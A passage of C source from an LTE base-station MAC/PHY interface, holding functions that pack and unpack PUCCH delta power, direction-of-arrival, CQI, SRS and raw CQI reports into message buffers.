TfuPucchDeltaPwr *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuPucchDeltaPwrInfo(param, mBuf)
TfuPucchDeltaPwr *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuPucchDeltaPwrInfo)
CMCHKPK(SPkS8, param->pucchDeltaPwr, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuPucchDeltaPwr
*
*
* Desc : This structure contains PUCCH Delta power for a single UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuPucchDeltaPwrInfo
(
TfuPucchDeltaPwr *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuPucchDeltaPwrInfo(param, mBuf)
TfuPucchDeltaPwr *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuPucchDeltaPwrInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
CMCHKUNPK(SUnpkS8, ¶m->pucchDeltaPwr, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuPucchDeltaPwrIndInfo
*
*
* Desc : This structure contains information that is passed as a part of the
* PUCCH Delta power indication from PHY to SCH.
* @details This structure clubs together PUCCH Delta power values for a number
* of UEs.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuPucchDeltaPwrIndInfo
(
TfuPucchDeltaPwrIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuPucchDeltaPwrIndInfo(param, mBuf)
TfuPucchDeltaPwrIndInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuPucchDeltaPwr *tfuPucchDeltaPwr;
TRC3(cmPkTfuPucchDeltaPwrIndInfo)
count = param->pucchDeltaPwrLst.count;
node = param->pucchDeltaPwrLst.last;
while (node) {
tfuPucchDeltaPwr = (TfuPucchDeltaPwr *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuPucchDeltaPwrInfo, tfuPucchDeltaPwr, mBuf);
cmLListDelFrm(¶m->pucchDeltaPwrLst, &tfuPucchDeltaPwr->lnk);
tfuPucchDeltaPwr->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuPucchDeltaPwrIndInfo
*
*
* Desc : This structure contains information that is passed as a part of the
* PUCCH Delta power indication from PHY to SCH.
* @details This structure clubs together PUCCH Delta power values for a number
* of UEs.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuPucchDeltaPwrIndInfo
(
TfuPucchDeltaPwrIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuPucchDeltaPwrIndInfo(param, memCp, mBuf)
TfuPucchDeltaPwrIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuPucchDeltaPwr *tfuPucchDeltaPwr;
TRC3(cmUnpkTfuPucchDeltaPwrIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->pucchDeltaPwrLst);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuPucchDeltaPwr), (Ptr *)&tfuPucchDeltaPwr);
CMCHKUNPK(cmUnpkTfuPucchDeltaPwrInfo, tfuPucchDeltaPwr, mBuf);
cmLListAdd2Tail(¶m->pucchDeltaPwrLst, &tfuPucchDeltaPwr->lnk);
tfuPucchDeltaPwr->lnk.node = (PTR)tfuPucchDeltaPwr;
}
RETVALUE(ROK);
}
#ifdef ANSI
PUBLIC S16 cmPkBuffer
(
Buffer **param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkBuffer(param, mBuf)
Buffer **param;
Buffer *mBuf;
#endif
{
MsgLen msgLen=0;
TRC3(cmPkBuffer)
if (SFndLenMsg(*param, &msgLen) != ROK)
RETVALUE(RFAILED);
if (SCatMsg(mBuf, *param, M1M2) != ROK)
RETVALUE(RFAILED);
TFU_FREE_MSG(*param);
*param = NULLP;
CMCHKPK(cmPkMsgLen, msgLen, mBuf);
RETVALUE(ROK);
}
#ifdef ANSI
PUBLIC S16 cmUnpkBuffer
(
Buffer **param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkBuffer(param, mBuf)
Buffer **param;
Buffer *mBuf;
#endif
{
MsgLen msgLen=0, totalMsgLen=0;
TRC3(cmUnpkBuffer)
CMCHKUNPK(cmUnpkMsgLen, &msgLen, mBuf);
if (SFndLenMsg(mBuf, &totalMsgLen) != ROK)
RETVALUE(RFAILED);
if (SSegMsg(mBuf, totalMsgLen-msgLen, param) != ROK)
RETVALUE(RFAILED);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDoaInd
*
*
* Desc : This API is used to indicate DOA(Direction Of Arrival)
* identifier for one or more UEs.
* It carries a DOA for each UE.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param doaInd Pointer to the TfuDoaIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDoaInd
(
Pst * pst,
SuId suId,
TfuDoaIndInfo * doaInd
)
#else
PUBLIC S16 cmPkTfuDoaInd(pst, suId, doaInd)
Pst * pst;
SuId suId;
TfuDoaIndInfo * doaInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuDoaInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU125, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)doaInd, sizeof(TfuDoaIndInfo));
RETVALUE(RFAILED);
}
cmPkTfuDoaIndInfo(doaInd, mBuf);
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU126, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MEM(doaInd);
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
TFU_FREE_MEM(doaInd);
pst->event = (Event) EVTTFUDOAIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuDoaInd
*
*
* Desc : This API is used to indicate DOA(Direction Of Arrival)
* identifier for one or more UEs.
* It carries a DOA for each UE.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param doaInd Pointer to the TfuDoaIndInfo structure.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDoaInd
(
TfuDoaInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDoaInd(func, pst, mBuf)
TfuDoaInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuDoaIndInfo *doaInd;
TRC3(cmUnpkTfuDoaInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU127, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
{
Mem sMem;
sMem.region = pst->region;
sMem.pool = pst->pool;
if ((cmAllocEvnt(sizeof(TfuDoaIndInfo), TFU_BLKSZ, &sMem, (Ptr *)&doaInd)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU128, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
cmUnpkTfuDoaIndInfo(doaInd, (Ptr)&doaInd->memCp, mBuf);
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, doaInd));
}
/***********************************************************
*
* Func : cmPkTfuDciFormatTbInfo
*
*
* Desc : This structure contains the TB level DCI signalling
* parameters in case of DCI formats 2 and 2A
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormatTbInfo
(
TfuDciFormatTbInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormatTbInfo(param, mBuf)
TfuDciFormatTbInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormatTbInfo)
CMCHKPK(SPkU8, param->mcs, mBuf);
CMCHKPK(SPkU8, param->rv, mBuf);
CMCHKPK(SPkU8, param->ndi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormatTbInfo
*
*
* Desc : This structure contains the TB level DCI signalling
* parameters in case of DCI formats 2 and 2A
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormatTbInfo
(
TfuDciFormatTbInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormatTbInfo(param, mBuf)
TfuDciFormatTbInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormatTbInfo)
CMCHKUNPK(SUnpkU8, ¶m->ndi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rv, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->mcs, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuSubbandDlCqiInfo
*
*
* Desc : This structure is used to convey the subbannd CQI reported.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSubbandDlCqiInfo
(
TfuSubbandDlCqiInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuSubbandDlCqiInfo(param, mBuf)
TfuSubbandDlCqiInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuSubbandDlCqiInfo)
for (i=TFU_MAX_TB-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->cqiIdx[i], mBuf);
}
CMCHKPK(cmPkTfuSubbandInfo, ¶m->subband, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuSubbandDlCqiInfo
*
*
* Desc : This structure is used to convey the subbannd CQI reported.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSubbandDlCqiInfo
(
TfuSubbandDlCqiInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSubbandDlCqiInfo(param, mBuf)
TfuSubbandDlCqiInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuSubbandDlCqiInfo)
CMCHKUNPK(cmUnpkTfuSubbandInfo, ¶m->subband, mBuf);
for (i=0; i<TFU_MAX_TB; i++) {
CMCHKUNPK(SUnpkU8, ¶m->cqiIdx[i], mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDlCqiPuschInfo
*
*
* Desc : This structure conveys explicitly the PMI information in case
* of PUSCH feedback usage in scheduling. Applicable for TM 4,5,6.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDlCqiPuschInfo
(
TfuDlCqiPuschInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDlCqiPuschInfo(param, mBuf)
TfuDlCqiPuschInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDlCqiPuschInfo)
switch(param->mode) {
case TFU_PUSCH_CQI_MODE_31:
CMCHKPK(cmPkTfuCqiPuschMode31, ¶m->u.mode31Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_22:
CMCHKPK(cmPkTfuCqiPuschMode22, ¶m->u.mode22Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_12:
CMCHKPK(cmPkTfuCqiPuschMode12, ¶m->u.mode12Info, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->mode, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDlCqiPuschInfo
*
*
* Desc : This structure conveys explicitly the PMI information in case
* of PUSCH feedback usage in scheduling. Applicable for TM 4,5,6.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDlCqiPuschInfo
(
TfuDlCqiPuschInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDlCqiPuschInfo(param, mBuf)
TfuDlCqiPuschInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDlCqiPuschInfo)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->mode, mBuf);
switch(param->mode) {
case TFU_PUSCH_CQI_MODE_12:
CMCHKUNPK(cmUnpkTfuCqiPuschMode12, ¶m->u.mode12Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_22:
CMCHKUNPK(cmUnpkTfuCqiPuschMode22, ¶m->u.mode22Info, mBuf);
break;
case TFU_PUSCH_CQI_MODE_31:
CMCHKUNPK(cmUnpkTfuCqiPuschMode31, ¶m->u.mode31Info, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDoaRpt
*
*
* Desc : This structure contains the DOA estimated by the physical layer.
* @details DOA for a given UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDoaRpt
(
TfuDoaRpt *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDoaRpt(param, mBuf)
TfuDoaRpt *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDoaRpt)
CMCHKPK(SPkU32, param->doa, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDoaRpt
*
*
* Desc : This structure contains the DOA estimated by the physical layer.
* @details DOA for a given UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDoaRpt
(
TfuDoaRpt *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDoaRpt(param, mBuf)
TfuDoaRpt *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDoaRpt)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
CMCHKUNPK(SUnpkU32, ¶m->doa, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDoaIndInfo
*
*
* Desc : This structure conveys the DOA(Direction Of Arrival) indicator.
* @details DOA is calculated by the physical layer, and this
* information is provided to the scheduler.
* This data structure clubs together the DOAs for all the UEs
* calculated by PHY in this subframe.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDoaIndInfo
(
TfuDoaIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDoaIndInfo(param, mBuf)
TfuDoaIndInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuDoaRpt *tfuDoaRpt;
TRC3(cmPkTfuDoaIndInfo)
count = param->doaRpt.count;
node = param->doaRpt.last;
while (node) {
tfuDoaRpt = (TfuDoaRpt *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuDoaRpt, tfuDoaRpt, mBuf);
cmLListDelFrm(¶m->doaRpt, &tfuDoaRpt->lnk);
tfuDoaRpt->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDoaIndInfo
*
*
* Desc : This structure conveys the DOA(Direction Of Arrival) indicator.
* @details DOA is calculated by the physical layer, and this
* information is provided to the scheduler.
* This data structure clubs together the DOAs for all the UEs
* calculated by PHY in this subframe.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDoaIndInfo
(
TfuDoaIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDoaIndInfo(param, memCp, mBuf)
TfuDoaIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuDoaRpt *tfuDoaRpt;
TRC3(cmUnpkTfuDoaIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
cmLListInit(¶m->doaRpt);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuDoaRpt), (Ptr *)&tfuDoaRpt);
CMCHKUNPK(cmUnpkTfuDoaRpt, tfuDoaRpt, mBuf);
cmLListAdd2Tail(¶m->doaRpt, &tfuDoaRpt->lnk);
tfuDoaRpt->lnk.node = (PTR)tfuDoaRpt;
}
RETVALUE(ROK);
}
/* tfu_c_001.main_7. Added changes of TFU_UPGRADE */
#ifdef TFU_UPGRADE
/***********************************************************
*
* Func : cmPkTfuSrsRpt
*
*
* Desc : This structure conveys the Uplink SRS indication of a UE.
* @details Uplink SRS from each UE is received by the physical layer, and this
* information is provided to the scheduler.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSrsRpt
(
TfuSrsRpt *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuSrsRpt(param, mBuf)
TfuSrsRpt *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuSrsRpt)
CMCHKPK(SPkU8, param->wideCqi, mBuf);
CMCHKPK(SPkU8, param->wideCqiPres, mBuf);
for (i=TFU_MAX_UL_RB-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->snr[i], mBuf);
}
CMCHKPK(SPkU8, param->rbStart, mBuf);
CMCHKPK(SPkU8, param->numRbs, mBuf);
CMCHKPK(SPkU16, param->ta, mBuf);
CMCHKPK(SPkU16, param->dopEst, mBuf);
CMCHKPK(cmPkLteRnti, param->ueId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuSrsRpt
*
*
* Desc : This structure conveys the Uplink SRS indication of a UE.
* @details Uplink SRS from each UE is received by the physical layer, and this
* information is provided to the scheduler.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSrsRpt
(
TfuSrsRpt *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSrsRpt(param, mBuf)
TfuSrsRpt *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuSrsRpt)
CMCHKUNPK(cmUnpkLteRnti, ¶m->ueId, mBuf);
CMCHKUNPK(SUnpkU16, ¶m->dopEst, mBuf);
CMCHKUNPK(SUnpkU16, ¶m->ta, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numRbs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rbStart, mBuf);
for (i=0; i<TFU_MAX_UL_RB; i++) {
CMCHKUNPK(SUnpkU8, ¶m->snr[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->wideCqiPres, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->wideCqi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuSrsIndInfo
*
*
* Desc : This structure conveys the Uplink SRS indication.
* @details Uplink SRS is received by the physical layer, and this
* information is provided to the scheduler.
* This data structure clubs together the UL SRS indications of all the UEs
* in the subframe.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuSrsIndInfo
(
TfuSrsIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuSrsIndInfo(param, mBuf)
TfuSrsIndInfo *param;
Buffer *mBuf;
#endif
{
CmLList *node;
U32 count;
TfuSrsRpt *tfuSrsRpt;
TRC3(cmPkTfuSrsIndInfo)
count = param->srsRpt.count;
node = param->srsRpt.last;
while (node) {
tfuSrsRpt = (TfuSrsRpt *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuSrsRpt, tfuSrsRpt, mBuf);
cmLListDelFrm(¶m->srsRpt, &tfuSrsRpt->lnk);
tfuSrsRpt->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuSrsIndInfo
*
*
* Desc : This structure conveys the Uplink SRS indication.
* @details Uplink SRS is received by the physical layer, and this
* information is provided to the scheduler.
* This data structure clubs together the UL SRS indications of all the UEs
* in the subframe.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuSrsIndInfo
(
TfuSrsIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuSrsIndInfo(param, memCp, mBuf)
TfuSrsIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuSrsRpt *tfuSrsRpt;
TRC3(cmUnpkTfuSrsIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->srsRpt);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuSrsRpt), (Ptr *)&tfuSrsRpt);
CMCHKUNPK(cmUnpkTfuSrsRpt, tfuSrsRpt, mBuf);
cmLListAdd2Tail(¶m->srsRpt, &tfuSrsRpt->lnk);
tfuSrsRpt->lnk.node = (PTR)tfuSrsRpt;
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuRawCqiRpt
*
*
* Desc : This structure contains the Raw CQI information i.e. the CQI report
* as transmitted by the UE.
* @details These bits shall be interpretted by MAC to derive the following
* -# Wideband CQI
* -# Subband CQI
* -# PMI
* -# RI
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuRawCqiRpt
(
TfuRawCqiRpt *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuRawCqiRpt(param, mBuf)
TfuRawCqiRpt *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuRawCqiRpt)
for (i=CM_LTE_MAX_CELLS-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->ri[i], mBuf);
}
for (i=TFU_MAX_CQI_BYTES-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->cqiBits[i], mBuf);
}
CMCHKPK(SPkU8, param->numBits, mBuf);
CMCHKPK(cmPkLteRnti, param->crnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuRawCqiRpt
*
*
* Desc : This structure contains the Raw CQI information i.e. the CQI report
* as transmitted by the UE.
* @details These bits shall be interpretted by MAC to derive the following
* -# Wideband CQI
* -# Subband CQI
* -# PMI
* -# RI
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuRawCqiRpt
(
TfuRawCqiRpt *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuRawCqiRpt(param, mBuf)
TfuRawCqiRpt *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuRawCqiRpt)
CMCHKUNPK(cmUnpkLteRnti, ¶m->crnti, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numBits, mBuf);
for (i=0; i<TFU_MAX_CQI_BYTES; i++) {
CMCHKUNPK(SUnpkU8, ¶m->cqiBits[i], mBuf);
}
for (i=0; i<CM_LTE_MAX_CELLS; i++) {
CMCHKUNPK(SUnpkU8, ¶m->ri[i], mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuRawCqiIndInfo
*
*
* Desc : This structure contains the Raw CQI reports received for the
* transmitting UEs in a single subframe.
* @details Raw CQI corresponds to the actual bits transmitted by the UE, whose
* interpretation is upto the MAC layer.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuRawCqiIndInfo
(
TfuRawCqiIndInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuRawCqiIndInfo(param, mBuf)
TfuRawCqiIndInfo *param;
Buffer *mBuf;
#endif
{
U32 count;
TfuRawCqiRpt *tfuRawCqiRpt;
CmLList *node;
TRC3(cmPkTfuRawCqiIndInfo)
count = param->rawCqiRpt.count;
node = param->rawCqiRpt.last;
while (node) {
tfuRawCqiRpt = (TfuRawCqiRpt *)node->node;
node=node->prev;
CMCHKPK(cmPkTfuRawCqiRpt, tfuRawCqiRpt, mBuf);
cmLListDelFrm(¶m->rawCqiRpt, &tfuRawCqiRpt->lnk);
tfuRawCqiRpt->lnk.node = (PTR)NULLP;
}
CMCHKPK(SPkU32, count, mBuf);
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuRawCqiIndInfo
*
*
* Desc : This structure contains the Raw CQI reports received for the
* transmitting UEs in a single subframe.
* @details Raw CQI corresponds to the actual bits transmitted by the UE, whose
* interpretation is upto the MAC layer.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuRawCqiIndInfo
(
TfuRawCqiIndInfo *param,
Ptr memCp,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuRawCqiIndInfo(param, memCp, mBuf)
TfuRawCqiIndInfo *param;
Ptr memCp;
Buffer *mBuf;
#endif
{
U32 count, loopCnt;
TfuRawCqiRpt *tfuRawCqiRpt;
TRC3(cmUnpkTfuRawCqiIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
cmLListInit(¶m->rawCqiRpt);
CMCHKUNPK(SUnpkU32, &count, mBuf);
for (loopCnt=0; loopCnt<count; loopCnt++) {
cmGetMem((Ptr)memCp, sizeof(*tfuRawCqiRpt), (Ptr *)&tfuRawCqiRpt);
CMCHKUNPK(cmUnpkTfuRawCqiRpt, tfuRawCqiRpt, mBuf);
cmLListAdd2Tail(¶m->rawCqiRpt, &tfuRawCqiRpt->lnk);
tfuRawCqiRpt->lnk.node = (PTR)tfuRawCqiRpt;
}
RETVALUE(ROK);
}
#ifdef TFU_TDD
#ifdef TFU_TDD
/***********************************************************
*
* Func : cmPkTfuUePucchHqRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of harq information on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUePucchHqRecpInfo
(
TfuUePucchHqRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUePucchHqRecpInfo(param, mBuf)
TfuUePucchHqRecpInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuUePucchHqRecpInfo)
CMCHKPK(SPkU8, param->a, mBuf);
for (i=TFU_MAX_HQ_RES-1; i >= 0; i--) {
CMCHKPK(SPkU16, param->hqRes[i], mBuf);
}
CMCHKPK(SPkU8, param->pucchResCnt, mBuf);
CMCHKPK(SPkU8, param->hqSz, mBuf);
CMCHKPK(SPkU32, param->hqFdbkMode, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePucchHqRecpInfo
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of harq information on PUCCH.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePucchHqRecpInfo
(
TfuUePucchHqRecpInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePucchHqRecpInfo(param, mBuf)
TfuUePucchHqRecpInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuUePucchHqRecpInfo)
CMCHKUNPK(SUnpkU32, (U32 *)¶m->hqFdbkMode, mBuf);
